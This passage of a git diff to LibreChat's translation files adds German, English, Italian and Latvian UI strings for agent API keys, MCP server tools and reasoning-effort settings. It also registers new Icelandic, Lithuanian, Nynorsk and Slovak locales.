geholt werden", "com_ui_unavailable": "Nicht verfügbar", "com_ui_unknown": "Unbekannt", @@ -1339,6 +1443,8 @@ "com_ui_unset": "Aufheben", "com_ui_untitled": "Unbenannt", "com_ui_update": "Aktualisieren", + "com_ui_update_mcp_server": "MCP-Server aktualisieren", + "com_ui_updating": "Aktualisieren...", "com_ui_upload": "Hochladen", "com_ui_upload_agent_avatar": "Agenten-Avatar erfolgreich aktualisiert", "com_ui_upload_agent_avatar_label": "Avatarbild des Agenten hochladen", @@ -1349,6 +1455,7 @@ "com_ui_upload_file_context": "Kontext der Datei hochladen", "com_ui_upload_file_search": "Hochladen für Dateisuche", "com_ui_upload_files": "Dateien hochladen", + "com_ui_upload_icon": "Symbolbild hochladen", "com_ui_upload_image": "Ein Bild hochladen", "com_ui_upload_image_input": "Bild hochladen", "com_ui_upload_invalid": "Ungültige Datei zum Hochladen. Muss ein Bild sein und das Limit nicht überschreiten", @@ -1402,7 +1509,9 @@ "com_ui_weekend_morning": "Schönes Wochenende", "com_ui_write": "Schreiben", "com_ui_x_selected": "{{0}} ausgewählt", + "com_ui_xhigh": "Extra hoch", "com_ui_yes": "Ja", + "com_ui_your_api_key": "Dein API Key", "com_ui_zoom": "Zoom", "com_ui_zoom_in": "Heranzoomen", "com_ui_zoom_level": "Zoomstufe", diff --git a/client/src/locales/en/translation.json b/client/src/locales/en/translation.json index 7651b5a51d..196ea2ad4a 100644 --- a/client/src/locales/en/translation.json +++ b/client/src/locales/en/translation.json @@ -224,10 +224,11 @@ "com_endpoint_agent": "Agent", "com_endpoint_agent_placeholder": "Please select an Agent", "com_endpoint_ai": "AI", + "com_endpoint_anthropic_effort": "Controls how much computational effort Claude applies. Lower effort saves tokens and reduces latency; higher effort produces more thorough responses. 'Max' enables the deepest reasoning (Opus 4.6 only).", "com_endpoint_anthropic_maxoutputtokens": "Maximum number of tokens that can be generated in the response. Specify a lower value for shorter responses and a higher value for longer responses. Note: models may stop before reaching this maximum.", "com_endpoint_anthropic_prompt_cache": "Prompt caching allows reusing large context or instructions across API calls, reducing costs and latency", "com_endpoint_anthropic_temp": "Ranges from 0 to 1. Use temp closer to 0 for analytical / multiple choice, and closer to 1 for creative and generative tasks. We recommend altering this or Top P but not both.", - "com_endpoint_anthropic_thinking": "Enables internal reasoning for supported Claude models (3.7 Sonnet). Note: requires \"Thinking Budget\" to be set and lower than \"Max Output Tokens\"", + "com_endpoint_anthropic_thinking": "Enables internal reasoning for supported Claude models. For newer models (Opus 4.6+), uses adaptive thinking controlled by the Effort parameter. For legacy models, requires \"Thinking Budget\" to be set and lower than \"Max Output Tokens\".", "com_endpoint_anthropic_thinking_budget": "Determines the max number of tokens Claude is allowed use for its internal reasoning process. Larger budgets can improve response quality by enabling more thorough analysis for complex problems, although Claude may not use the entire budget allocated, especially at ranges above 32K. This setting must be lower than \"Max Output Tokens.\"", "com_endpoint_anthropic_topk": "Top-k changes how the model selects tokens for output. A top-k of 1 means the selected token is the most probable among all tokens in the model's vocabulary (also called greedy decoding), while a top-k of 3 means that the next token is selected from among the 3 most probable tokens (using temperature).", "com_endpoint_anthropic_topp": "Top-p changes how the model selects tokens for output. Tokens are selected from most K (see topK parameter) probable to least until the sum of their probabilities equals the top-p value.", @@ -235,6 +236,7 @@ "com_endpoint_assistant": "Assistant", "com_endpoint_assistant_model": "Assistant Model", "com_endpoint_assistant_placeholder": "Please select an Assistant from the right-hand Side Panel", + "com_endpoint_bedrock_reasoning_effort": "Controls the reasoning level for supported Bedrock models (e.g. Kimi K2.5, GLM). Higher levels produce more thorough reasoning at the cost of increased latency and tokens.", "com_endpoint_config_click_here": "Click Here", "com_endpoint_config_google_api_info": "To get your Generative Language API key (for Gemini),", "com_endpoint_config_google_api_key": "Google API Key", @@ -265,6 +267,7 @@ "com_endpoint_default_with_num": "default: {{0}}", "com_endpoint_disable_streaming": "Disable streaming responses and receive the complete response at once. Useful for models like o3 that require organization verification for streaming", "com_endpoint_disable_streaming_label": "Disable Streaming", + "com_endpoint_effort": "Effort", "com_endpoint_examples": " Presets", "com_endpoint_export": "Export", "com_endpoint_export_share": "Export/Share", @@ -272,8 +275,9 @@ "com_endpoint_google_custom_name_placeholder": "Set a custom name for Google", "com_endpoint_google_maxoutputtokens": "Maximum number of tokens that can be generated in the response. Specify a lower value for shorter responses and a higher value for longer responses. Note: models may stop before reaching this maximum.", "com_endpoint_google_temp": "Higher values = more random, while lower values = more focused and deterministic. We recommend altering this or Top P but not both.", - "com_endpoint_google_thinking": "Enables or disables reasoning. This setting is only supported by certain models (2.5 series). For older models, this setting may have no effect.", - "com_endpoint_google_thinking_budget": "Guides the number of thinking tokens the model uses. The actual amount may exceed or fall below this value depending on the prompt.\n\nThis setting is only supported by certain models (2.5 series). Gemini 2.5 Pro supports 128-32,768 tokens. Gemini 2.5 Flash supports 0-24,576 tokens. Gemini 2.5 Flash Lite supports 512-24,576 tokens.\n\nLeave blank or set to \"-1\" to let the model automatically decide when and how much to think. By default, Gemini 2.5 Flash Lite does not think.", + "com_endpoint_google_thinking": "Enables or disables reasoning. Supported by Gemini 2.5 and 3 series. Note: Gemini 3 Pro cannot fully disable thinking.", + "com_endpoint_google_thinking_budget": "Guides the number of thinking tokens the model uses. The actual amount may exceed or fall below this value depending on the prompt.\n\nThis setting only applies to Gemini 2.5 and older models. For Gemini 3 and later, use the Thinking Level setting instead.\n\nGemini 2.5 Pro supports 128-32,768 tokens. Gemini 2.5 Flash supports 0-24,576 tokens. Gemini 2.5 Flash Lite supports 512-24,576 tokens.\n\nLeave blank or set to \"-1\" to let the model automatically decide when and how much to think. By default, Gemini 2.5 Flash Lite does not think.", + "com_endpoint_google_thinking_level": "Controls the depth of reasoning for Gemini 3 and later models. Has no effect on Gemini 2.5 and older — use Thinking Budget for those.\n\nLeave on Auto to use the model default.", "com_endpoint_google_topk": "Top-k changes how the model selects tokens for output. A top-k of 1 means the selected token is the most probable among all tokens in the model's vocabulary (also called greedy decoding), while a top-k of 3 means that the next token is selected from among the 3 most probable tokens (using temperature).", "com_endpoint_google_topp": "Top-p changes how the model selects tokens for output. Tokens are selected from most K (see topK parameter) probable to least until the sum of their probabilities equals the top-p value.", "com_endpoint_google_use_search_grounding": "Use Google's search grounding feature to enhance responses with real-time web search results. This enables models to access current information and provide more accurate, up-to-date answers.", @@ -343,6 +347,7 @@ "com_endpoint_temperature": "Temperature", "com_endpoint_thinking": "Thinking", "com_endpoint_thinking_budget": "Thinking Budget", + "com_endpoint_thinking_level": "Thinking Level", "com_endpoint_top_k": "Top K", "com_endpoint_top_p": "Top P", "com_endpoint_use_active_assistant": "Use Active Assistant", @@ -509,16 +514,20 @@ "com_nav_lang_german": "Deutsch", "com_nav_lang_hebrew": "עברית", "com_nav_lang_hungarian": "Magyar", + "com_nav_lang_icelandic": "Íslenska", "com_nav_lang_indonesia": "Indonesia", "com_nav_lang_italian": "Italiano", "com_nav_lang_japanese": "日本語", "com_nav_lang_korean": "한국어", "com_nav_lang_latvian": "Latviski", + "com_nav_lang_lithuanian": "Lietuvių", "com_nav_lang_norwegian_bokmal": "Norsk Bokmål", + "com_nav_lang_norwegian_nynorsk": "Norsk Nynorsk", "com_nav_lang_persian": "فارسی", "com_nav_lang_polish": "Polski", "com_nav_lang_portuguese": "Português", "com_nav_lang_russian": "Русский", + "com_nav_lang_slovak": "Slovenčina", "com_nav_lang_slovenian": "Slovenščina", "com_nav_lang_spanish": "Español", "com_nav_lang_swedish": "Svenska", @@ -630,6 +639,7 @@ "com_ui_2fa_generate_error": "There was an error generating two-factor authentication settings", "com_ui_2fa_invalid": "Invalid two-factor authentication code", "com_ui_2fa_setup": "Setup 2FA", + "com_ui_2fa_verification_required": "Enter your 2FA code to continue", "com_ui_2fa_verified": "Successfully verified Two-Factor Authentication", "com_ui_accept": "I accept", "com_ui_action_button": "Action Button", @@ -654,6 +664,8 @@ "com_ui_advanced": "Advanced", "com_ui_advanced_settings": "Advanced Settings", "com_ui_agent": "Agent", + "com_ui_agent_api_keys": "Agent API Keys", + "com_ui_agent_api_keys_description": "Create API keys to access agents remotely via the API", "com_ui_agent_category_aftersales": "After Sales", "com_ui_agent_category_finance": "Finance", "com_ui_agent_category_general": "General", @@ -708,6 +720,16 @@ "com_ui_analyzing": "Analyzing", "com_ui_analyzing_finished": "Finished analyzing", "com_ui_api_key": "API Key", + "com_ui_api_key_copied": "API key copied to clipboard", + "com_ui_api_key_create_error": "Failed to create API key", + "com_ui_api_key_created": "API key created successfully", + "com_ui_api_key_delete_error": "Failed to delete API key", + "com_ui_api_key_deleted": "API key deleted successfully", + "com_ui_api_key_name": "Key Name", + "com_ui_api_key_name_placeholder": "My API Key", + "com_ui_api_key_name_required": "API key name is required", + "com_ui_api_key_warning": "Make sure to copy your API key now. You won't be able to see it again!", + "com_ui_api_keys_load_error": "Failed to load API keys", "com_ui_archive": "Archive", "com_ui_archive_delete_error": "Failed to delete archived conversation", "com_ui_archive_error": "Failed to archive conversation", @@ -824,6 +846,7 @@ "com_ui_controls": "Controls", "com_ui_conversation": "conversation", "com_ui_conversation_label": "{{title}} conversation", + "com_ui_conversation_not_found": "Conversation not found", "com_ui_conversations": "conversations", "com_ui_convo_archived": "Conversation archived", "com_ui_convo_delete_error": "Failed to delete conversation", @@ -838,12 +861,16 @@ "com_ui_copy_to_clipboard": "Copy to clipboard", "com_ui_copy_url_to_clipboard": "Copy URL to clipboard", "com_ui_create": "Create", + "com_ui_create_api_key": "Create API Key", "com_ui_create_assistant": "Create Assistant", "com_ui_create_link": "Create link", + "com_ui_create_mcp_server": "Create MCP server", "com_ui_create_memory": "Create Memory", "com_ui_create_new_agent": "Create New Agent", "com_ui_create_prompt": "Create Prompt", "com_ui_create_prompt_page": "New Prompt Configuration Page", + "com_ui_created": "Created", + "com_ui_creating": "Creating...", "com_ui_creating_image": "Creating image. May take a moment", "com_ui_current": "Current", "com_ui_currently_production": "Currently in production", @@ -884,6 +911,8 @@ "com_ui_delete_confirm_strong": "This will delete {{title}}", "com_ui_delete_conversation": "Delete chat?", "com_ui_delete_conversation_tooltip": "Delete conversation", + "com_ui_delete_mcp_server": "Delete MCP Server?", + "com_ui_delete_mcp_server_name": "Delete MCP server {{0}}", "com_ui_delete_memory": "Delete Memory", "com_ui_delete_not_allowed": "Delete operation is not allowed", "com_ui_delete_preset": "Delete Preset?", @@ -896,6 +925,7 @@ "com_ui_delete_tool_confirm": "Are you sure you want to delete this tool?", "com_ui_delete_tool_save_reminder": "Tool removed. Save the agent to apply changes.", "com_ui_deleted": "Deleted", + "com_ui_deleting": "Deleting...", "com_ui_deleting_file": "Deleting file...", "com_ui_descending": "Desc", "com_ui_description": "Description", @@ -1019,6 +1049,7 @@ "com_ui_handoff_instructions": "Handoff instructions", "com_ui_happy_birthday": "It's my 1st birthday!", "com_ui_header_format": "Header Format", + "com_ui_hide": "Hide", "com_ui_hide_code": "Hide Code", "com_ui_hide_image_details": "Hide Image Details", "com_ui_hide_password": "Hide password", @@ -1044,6 +1075,7 @@ "com_ui_instructions": "Instructions", "com_ui_key": "Key", "com_ui_key_required": "API key is required", + "com_ui_last_used": "Last used", "com_ui_late_night": "Happy late night", "com_ui_latest_footer": "Every AI for Everyone.", "com_ui_latest_production_version": "Latest production version", @@ -1062,12 +1094,18 @@ "com_ui_manage": "Manage", "com_ui_marketplace": "Marketplace", "com_ui_marketplace_allow_use": "Allow using Marketplace", + "com_ui_max": "Max", "com_ui_max_favorites_reached": "Maximum pinned items reached ({{0}}). Unpin an item to add more.", "com_ui_max_file_size": "PNG, JPG or JPEG (max {{0}})", "com_ui_max_tags": "Maximum number allowed is {{0}}, using latest values.", "com_ui_mcp_authenticated_success": "MCP server '{{0}}' authenticated successfully", + "com_ui_mcp_click_to_defer": "Click to defer - tool will be discoverable via search but not loaded until needed", + "com_ui_mcp_click_to_programmatic": "Enable programmatic calling - tool can only be invoked via code execution", "com_ui_mcp_configure_server": "Configure {{0}}", "com_ui_mcp_configure_server_description": "Configure custom variables for {{0}}", + "com_ui_mcp_defer": "Defer", + "com_ui_mcp_defer_all": "Defer all tools", + "com_ui_mcp_defer_loading": "Defer loading", "com_ui_mcp_dialog_title": "Configure Variables for {{serverName}}. Server Status: {{status}}", "com_ui_mcp_domain_not_allowed": "The MCP server domain is not in the allowed domains list. Please contact your administrator.", "com_ui_mcp_enter_var": "Enter value for {{0}}", @@ -1075,8 +1113,11 @@ "com_ui_mcp_initialize": "Initialize", "com_ui_mcp_initialized_success": "MCP server '{{0}}' initialized successfully", "com_ui_mcp_invalid_url": "Please enter a valid URL", + "com_ui_mcp_no_description": "No description available", "com_ui_mcp_oauth_cancelled": "OAuth login cancelled for {{0}}", "com_ui_mcp_oauth_timeout": "OAuth login timed out for {{0}}", + "com_ui_mcp_programmatic": "Programmatic", + "com_ui_mcp_programmatic_all": "Mark all as programmatic", "com_ui_mcp_server": "MCP Server", "com_ui_mcp_server_connection_failed": "Connection attempt to the provided MCP server failed. Please make sure the URL, the server type, and any authentication configuration are correct, then try again. Also ensure the URL is reachable.", "com_ui_mcp_server_created": "MCP server created successfully", @@ -1096,9 +1137,13 @@ "com_ui_mcp_servers_allow_share_public": "Allow users to share MCP servers publicly", "com_ui_mcp_servers_allow_use": "Allow users to use MCP servers", "com_ui_mcp_title_invalid": "Title can only contain letters, numbers, and spaces", + "com_ui_mcp_tool_options": "Tool Options", "com_ui_mcp_transport": "Transport", "com_ui_mcp_type_sse": "SSE", "com_ui_mcp_type_streamable_http": "Streamable HTTPS", + "com_ui_mcp_undefer": "Undefer", + "com_ui_mcp_undefer_all": "Undefer all tools", + "com_ui_mcp_unprogrammatic_all": "Unmark all as programmatic", "com_ui_mcp_update_var": "Update {{0}}", "com_ui_mcp_url": "MCP Server URL", "com_ui_medium": "Medium", @@ -1133,6 +1178,8 @@ "com_ui_misc": "Misc.", "com_ui_model": "Model", "com_ui_model_parameters": "Model Parameters", + "com_ui_model_parameters_reset": "Model Parameters have been reset.", + "com_ui_model_selected": "{{0}} selected", "com_ui_more_info": "More info", "com_ui_my_prompts": "My Prompts", "com_ui_name": "Name", @@ -1142,7 +1189,8 @@ "com_ui_new_conversation_title": "New Conversation Title", "com_ui_next": "Next", "com_ui_no": "No", - "com_ui_no_auth": "No Auth", + "com_ui_no_api_keys": "No API keys yet. Create one to get started.", + "com_ui_no_auth": "None (Auto-detect)", "com_ui_no_bookmarks": "it seems like you have no bookmarks yet. Click on a chat and add a new one", "com_ui_no_bookmarks_match": "No bookmarks match your search", "com_ui_no_bookmarks_title": "No bookmarks yet", @@ -1199,6 +1247,7 @@ "com_ui_privacy_policy": "Privacy policy", "com_ui_privacy_policy_url": "Privacy Policy URL", "com_ui_prompt": "Prompt", + "com_ui_prompt_deleted": "{{0}} deleted", "com_ui_prompt_group_button": "{{name}} prompt, {{category}} category", "com_ui_prompt_group_button_no_category": "{{name}} prompt", "com_ui_prompt_groups": "Prompt Groups List", @@ -1231,6 +1280,18 @@ "com_ui_regenerating": "Regenerating...", "com_ui_region": "Region", "com_ui_reinitialize": "Reinitialize", + "com_ui_remote_access": "Remote Access", + "com_ui_remote_agent_role_editor": "Editor", + "com_ui_remote_agent_role_editor_desc": "Can view and modify the agent via API", + "com_ui_remote_agent_role_owner": "API Owner", + "com_ui_remote_agent_role_owner_desc": "Full API access and can grant remote access to others", + "com_ui_remote_agent_role_viewer": "API Viewer", + "com_ui_remote_agent_role_viewer_desc": "Can query the agent via API", + "com_ui_remote_agents": "Remote Agents (API)", + "com_ui_remote_agents_allow_create": "Allow users to create agents via API", + "com_ui_remote_agents_allow_share": "Allow users to grant API access to agents to others", + "com_ui_remote_agents_allow_share_public": "Allow users to grant API access to agents to all users", + "com_ui_remote_agents_allow_use": "Allow users to create API keys and query agents remotely", "com_ui_remove_agent_from_chain": "Remove {{0}} from chain", "com_ui_remove_user": "Remove {{0}}", "com_ui_rename": "Rename", @@ -1320,6 +1381,7 @@ "com_ui_shared_link_not_found": "Shared link not found", "com_ui_shared_prompts": "Shared Prompts", "com_ui_shop": "Shopping", + "com_ui_show": "Show", "com_ui_show_all": "Show All", "com_ui_show_code": "Show Code", "com_ui_show_image_details": "Show Image Details", @@ -1333,6 +1395,7 @@ "com_ui_special_var_current_datetime": "Current Date & Time", "com_ui_special_var_current_user": "Current User", "com_ui_special_var_iso_datetime": "UTC ISO Datetime", + "com_ui_special_variable_added": "{{0}} special variable added.", "com_ui_special_variables": "Special variables:", "com_ui_special_variables_more_info": "You can select special variables from the dropdown: `{{current_date}}` (today's date and day of week), `{{current_datetime}}` (local date and time), `{{utc_iso_datetime}}` (UTC ISO datetime), and `{{current_user}}` (your account name).", "com_ui_speech_not_supported": "Your browser does not support speech recognition", @@ -1385,6 +1448,8 @@ "com_ui_unset": "Unset", "com_ui_untitled": "Untitled", "com_ui_update": "Update", + "com_ui_update_mcp_server": "Update MCP server", + "com_ui_updating": "Updating...", "com_ui_upload": "Upload", "com_ui_upload_agent_avatar": "Successfully updated agent avatar", "com_ui_upload_agent_avatar_label": "Upload agent avatar image", @@ -1451,6 +1516,7 @@ "com_ui_x_selected": "{{0}} selected", "com_ui_xhigh": "Extra High", "com_ui_yes": "Yes", + "com_ui_your_api_key": "Your API Key", "com_ui_zoom": "Zoom", "com_ui_zoom_in": "Zoom in", "com_ui_zoom_level": "Zoom level", diff --git a/client/src/locales/fr/translation.json b/client/src/locales/fr/translation.json index c9d78ac3f5..7838b33739 100644 --- a/client/src/locales/fr/translation.json +++ b/client/src/locales/fr/translation.json @@ -1203,7 +1203,7 @@ "com_ui_upload_image_input": "Téléverser une image", "com_ui_upload_invalid": "Fichier non valide pour le téléchargement. L'image ne doit pas dépasser la limite", "com_ui_upload_invalid_var": "Fichier non valide pour le téléchargement. L'image ne doit pas dépasser {{0}} Mo", - "com_ui_upload_ocr_text": "Téléchager en tant que texte", + "com_ui_upload_ocr_text": "Télécharger en tant que texte", "com_ui_upload_provider": "Télécharger vers le fournisseur", "com_ui_upload_success": "Fichier téléversé avec succès", "com_ui_upload_type": "Sélectionner le type de téléversement", diff --git a/client/src/locales/i18n.ts b/client/src/locales/i18n.ts index b9741b2301..cbebd4d5e3 100644 --- a/client/src/locales/i18n.ts +++ b/client/src/locales/i18n.ts @@ -22,19 +22,23 @@ import translationJa from './ja/translation.json'; import translationKa from './ka/translation.json'; import translationSv from './sv/translation.json'; import translationKo from './ko/translation.json'; +import translationLt from './lt/translation.json'; import translationLv from './lv/translation.json'; import translationTh from './th/translation.json'; import translationTr from './tr/translation.json'; import translationUg from './ug/translation.json'; import translationVi from './vi/translation.json'; import translationNl from './nl/translation.json'; +import translationNn from './nn/translation.json'; import translationId from './id/translation.json'; +import translationIs from './is/translation.json'; import translationHe from './he/translation.json'; import translationHu from './hu/translation.json'; import translationHy from './hy/translation.json'; import translationFi from './fi/translation.json'; import translationZh_Hans from './zh-Hans/translation.json'; import translationZh_Hant from './zh-Hant/translation.json'; +import translationSk from './sk/translation.json'; import translationBo from './bo/translation.json'; import translationUk from './uk/translation.json'; import translationBs from './bs/translation.json'; @@ -67,17 +71,21 @@ export const resources = { ka: { translation: translationKa }, sv: { translation: translationSv }, ko: { translation: translationKo }, + lt: { translation: translationLt }, lv: { translation: translationLv }, th: { translation: translationTh }, tr: { translation: translationTr }, ug: { translation: translationUg }, vi: { translation: translationVi }, nl: { translation: translationNl }, + nn: { translation: translationNn }, id: { translation: translationId }, + is: { translation: translationIs }, he: { translation: translationHe }, hu: { translation: translationHu }, hy: { translation: translationHy }, fi: { translation: translationFi }, + sk: { translation: translationSk }, bo: { translation: translationBo }, sl: { translation: translationSl }, uk: { translation: translationUk }, diff --git a/client/src/locales/is/translation.json b/client/src/locales/is/translation.json new file mode 100644 index 0000000000..0967ef424b --- /dev/null +++ b/client/src/locales/is/translation.json @@ -0,0 +1 @@ +{} diff --git a/client/src/locales/it/translation.json b/client/src/locales/it/translation.json index 1b78ae9ab8..f8e4f5e5d8 100644 --- a/client/src/locales/it/translation.json +++ b/client/src/locales/it/translation.json @@ -1,12 +1,15 @@ { + "chat_direction_left_to_right": "Da Sinistra a Destra", "chat_direction_right_to_left": "Da destra a sinistra\n", "com_a11y_ai_composing": "L'IA sta ancora componendo", "com_a11y_end": "L'IA ha terminato la sua risposta", + "com_a11y_selected": "Selezionato", "com_a11y_start": "L'IA ha iniziato la sua risposta", "com_agents_agent_card_label": "{{name}} agente. {{description}}", "com_agents_all": "Tutti gli agenti\n", "com_agents_all_category": "Tutti", "com_agents_all_description": "Sfoglia tutti gli agenti condivisi in tutte le categorie", + "com_agents_avatar_upload_error": "Il caricamento dell'avatar d'agente è fallito", "com_agents_by_librechat": "da LibreChat", "com_agents_category_aftersales": "Post-vendita", "com_agents_category_aftersales_description": "Agenti specializzati nel supporto post-vendita, manutenzione e servizio clienti", @@ -15,6 +18,7 @@ "com_agents_category_finance_description": "Agenti specializzati in analisi finanziaria, budgeting e contabilità", "com_agents_category_general": "Generale", "com_agents_category_general_description": "Agenti di uso generale per compiti e richieste comuni", + "com_agents_category_hr": "Risorse Umane", "com_agents_category_hr_description": "Agenti specializzati in processi, politiche e supporto ai dipendenti delle risorse umane", "com_agents_category_it": "IT", "com_agents_category_it_description": "Agenti per supporto IT, risoluzione dei problemi tecnici e amministrazione del sistema", @@ -32,6 +36,7 @@ "com_agents_copy_link": "Copia Link", "com_agents_create_error": "Si è verificato un errore durante la creazione del tuo agente.", "com_agents_created_by": "da", + "com_agents_description_card": "Descrizione: {{descrizione}}", "com_agents_description_placeholder": "Opzionale: Descrivi qui il tuo Agente", "com_agents_empty_state_heading": "Nessun agente trovato", "com_agents_enable_file_search": "Abilita Ricerca File", @@ -52,6 +57,7 @@ "com_agents_error_searching": "Errore nella ricerca degli agenti", "com_agents_error_server_message": "Il server è temporaneamente non disponibile.", "com_agents_error_server_suggestion": "Riprova tra qualche istante.", + "com_agents_error_server_title": "Errore del Server", "com_agents_error_suggestion_generic": "Per favore, prova ad aggiornare la pagina o riprova più tardi.\n", "com_agents_error_timeout_message": "La richiesta ha richiesto troppo tempo per essere completata.", "com_agents_error_timeout_suggestion": "Controllare la connessione a Internet e riprovare.", diff --git a/client/src/locales/lt/translation.json b/client/src/locales/lt/translation.json new file mode 100644 index 0000000000..0967ef424b --- /dev/null +++ b/client/src/locales/lt/translation.json @@ -0,0 +1 @@ +{} diff --git a/client/src/locales/lv/translation.json b/client/src/locales/lv/translation.json index b28fff0988..57794a9e2a 100644 --- a/client/src/locales/lv/translation.json +++ b/client/src/locales/lv/translation.json @@ -39,7 +39,7 @@ "com_agents_description_card": "Apraksts: {{description}}", "com_agents_description_placeholder": "Pēc izvēles: aprakstiet savu aģentu šeit", "com_agents_empty_state_heading": "Nav atrasts neviens aģents", - "com_agents_enable_file_search": "Iespējot vektorizēto meklēšanu", + "com_agents_enable_file_search": "Iespējot meklēšanu dokumentos", "com_agents_error_bad_request_message": "Pieprasījumu nevarēja apstrādāt.", "com_agents_error_bad_request_suggestion": "Lūdzu, pārbaudiet ievadītos datus un mēģiniet vēlreiz.", "com_agents_error_category_title": "Kategorija Kļūda", @@ -66,7 +66,7 @@ "com_agents_file_context_description": "Visi augšupielādētie faili tiek pilnībā pārveidoti tekstā un nekavējoties pievienoti aģenta pamata kontekstam kā nemainīgs saturs, kas pieejams visu sarunas laiku. Ja augšupielādētajam faila tipam ir pieejams vai konfigurēts OCR, teksta izvilkšana notiek automātiski. Šī metode ir piemērota gadījumos, kad nepieciešams analizēt visu dokumenta, attēla ar tekstu vai PDF faila saturu, taču jāņem vērā, ka tas ievērojami palielina atmiņas patēriņu un izmaksas.", "com_agents_file_context_disabled": "Pirms failu augšupielādes, lai to pievienotu kā kontekstu, ir jāizveido aģents.", "com_agents_file_context_label": "Pievienot failu kā kontekstu", - "com_agents_file_search_disabled": "Lai varētu iespējot vektorizētu meklēšanu ir jāizveido aģents.", + "com_agents_file_search_disabled": "Lai varētu iespējot meklēšanu dokumentos ir jāizveido aģents.", "com_agents_file_search_info": "Kad šī opcija ir iespējota, aģents izmanto vektorizētu datu meklēšanu (RAG pieeju), kas ļauj efektīvi un izmaksu ziņā izdevīgi izgūt atbilstošu kontekstu tikai no būtiskākajām faila daļām, balstoties uz lietotāja jautājumu, nevis analizē visu failu pilnā apjomā.", "com_agents_grid_announcement": "Rādu {{count}} aģentus {{category}} kategorijā", "com_agents_instructions_placeholder": "Sistēmas instrukcijas, ko izmantos aģents", @@ -126,7 +126,7 @@ "com_assistants_delete_actions_success": "Darbība veiksmīgi dzēsta no asistenta", "com_assistants_description_placeholder": "Pēc izvēles: Šeit aprakstiet savu asistentu", "com_assistants_domain_info": "Asistents nosūtīja šo informāciju {{0}}", - "com_assistants_file_search": "Vektorizētā Meklēšana (RAG)", + "com_assistants_file_search": "Meklēšana dokumentos", "com_assistants_file_search_info": "Šī funkcija ļauj asistentam izmantot augšupielādēto failu saturu, pievienojot zināšanas tieši no lietotāja vai citu lietotāju failiem. Pēc faila augšupielādes asistents automātiski identificē un izgūst nepieciešamās teksta daļas atbilstoši lietotāja pieprasījumam, neiekļaujot visu failu pilnā apjomā. Vektoru datubāzu (vector store) pieslēgšana tieši šai funkcijai šobrīd nav atbalstīta; tās iespējams pievienot tikai Provider Playground vidē vai augšupielādējot failus sarunas pavedienam ikreizējai meklēšanai.", "com_assistants_function_use": "Izmantotais asistents {{0}}", "com_assistants_image_vision": "Attēla redzējums", @@ -136,7 +136,7 @@ "com_assistants_knowledge_info": "Ja augšupielādējat failus sadaļā Zināšanas, sarunās ar asistentu var tikt iekļauts faila saturs.", "com_assistants_max_starters_reached": "Sasniegts maksimālais sarunu uzsākšanas iespēju skaits", "com_assistants_name_placeholder": "Pēc izvēles: Asistenta nosaukums", - "com_assistants_non_retrieval_model": "Šajā modelī vektorizētā meklēšana nav iespējota. Lūdzu, izvēlieties citu modeli.", + "com_assistants_non_retrieval_model": "Šajā modelī meklēšana dokumentos nav iespējota. Lūdzu, izvēlieties citu modeli.", "com_assistants_retrieval": "Atgūšana", "com_assistants_running_action": "Darbība palaista", "com_assistants_running_var": "Strādā {{0}}", @@ -224,17 +224,19 @@ "com_endpoint_agent": "Aģents", "com_endpoint_agent_placeholder": "Lūdzu, izvēlieties aģentu", "com_endpoint_ai": "Mākslīgais intelekts", + "com_endpoint_anthropic_effort": "Kontrolē, cik lielu skaitļošanas piepūli piemēro Claude. Mazāka piepūle ietaupa tokenus un samazina ātrumu; lielāka piepūle nodrošina rūpīgākas atbildes. 'Max' ļauj veikt visdziļāko spriešanu (tikai Opus 4.6).", "com_endpoint_anthropic_maxoutputtokens": "Maksimālais atbildē ģenerējamo tokenu skaits. Norādiet zemāku vērtību īsākām atbildēm un augstāku vērtību garākām atbildēm. Piezīme: modeļi var apstāties pirms šī maksimālā skaita sasniegšanas.", "com_endpoint_anthropic_prompt_cache": "Uzvednes kešatmiņa ļauj atkārtoti izmantot lielu kontekstu vai instrukcijas API izsaukumos, samazinot izmaksas un ābildes ātrumu.", "com_endpoint_anthropic_temp": "Diapazons no 0 līdz 1. Analītiskiem/atbilžu variantiem izmantot temp vērtību tuvāk 0, bet radošiem un ģeneratīviem uzdevumiem — tuvāk 1. Iesakām mainīt šo vai Top P, bet ne abus.", - "com_endpoint_anthropic_thinking": "Iespējo iekšējo domāšanu atbalstītajiem Claude modeļiem (3.7 Sonnet). Piezīme: nepieciešams iestatīt \"Domāšanas budžetu\", kam arī jābūt zemākam par \"Max Output Tokens\".", - "com_endpoint_anthropic_thinking_budget": "Nosaka maksimālo žetonu skaitu, ko Claude drīkst izmantot savā iekšējā domāšanas procesā. Lielāki budžeti var uzlabot atbilžu kvalitāti, nodrošinot rūpīgāku analīzi sarežģītām problēmām, lai gan Claude var neizmantot visu piešķirto budžetu, īpaši diapazonos virs 32 000. Šim iestatījumam jābūt zemākam par \"Maksimālie izvades tokeni\".", + "com_endpoint_anthropic_thinking": "Iespējo iekšējo spriešanu atbalstītajiem Claude modeļiem (3.7 Sonnet). Piezīme: nepieciešams iestatīt \"Domāšanas budžetu\", kam arī jābūt zemākam par \"Max Output Tokens\".", + "com_endpoint_anthropic_thinking_budget": "Nosaka maksimālo žetonu skaitu, ko Claude drīkst izmantot savā iekšējā spriešanas procesā. Lielāki budžeti var uzlabot atbilžu kvalitāti, nodrošinot rūpīgāku analīzi sarežģītām problēmām, lai gan Claude var neizmantot visu piešķirto budžetu, īpaši diapazonos virs 32 000. Šim iestatījumam jābūt zemākam par \"Maksimālie izvades tokeni\".", "com_endpoint_anthropic_topk": "Top-k maina to, kā modelis atlasa marķierus izvadei. Ja top-k ir 1, tas nozīmē, ka atlasītais marķieris ir visticamākais starp visiem modeļa vārdu krājumā esošajiem marķieriem (to sauc arī par alkatīgo dekodēšanu), savukārt, ja top-k ir 3, tas nozīmē, ka nākamais marķieris tiek izvēlēts no 3 visticamākajiem marķieriem (izmantojot temperatūru).", "com_endpoint_anthropic_topp": "`Top-p` maina to, kā modelis atlasa marķierus izvadei. Marķieri tiek atlasīti no K (skatīt parametru topK) ticamākās līdz vismazāk ticamajai, līdz to varbūtību summa ir vienāda ar `top-p` vērtību.", - "com_endpoint_anthropic_use_web_search": "Iespējojiet tīmekļa meklēšanas funkcionalitāti, izmantojot Anthropic iebūvētās meklēšanas iespējas. Tas ļauj modelim meklēt tīmeklī jaunāko informāciju un sniegt precīzākas un aktuālākas atbildes.", + "com_endpoint_anthropic_use_web_search": "Iespējojiet meklēšanu tīmeklī funkcionalitāti, izmantojot Anthropic iebūvētās meklēšanas iespējas. Tas ļauj modelim meklēt tīmeklī jaunāko informāciju un sniegt precīzākas un aktuālākas atbildes.", "com_endpoint_assistant": 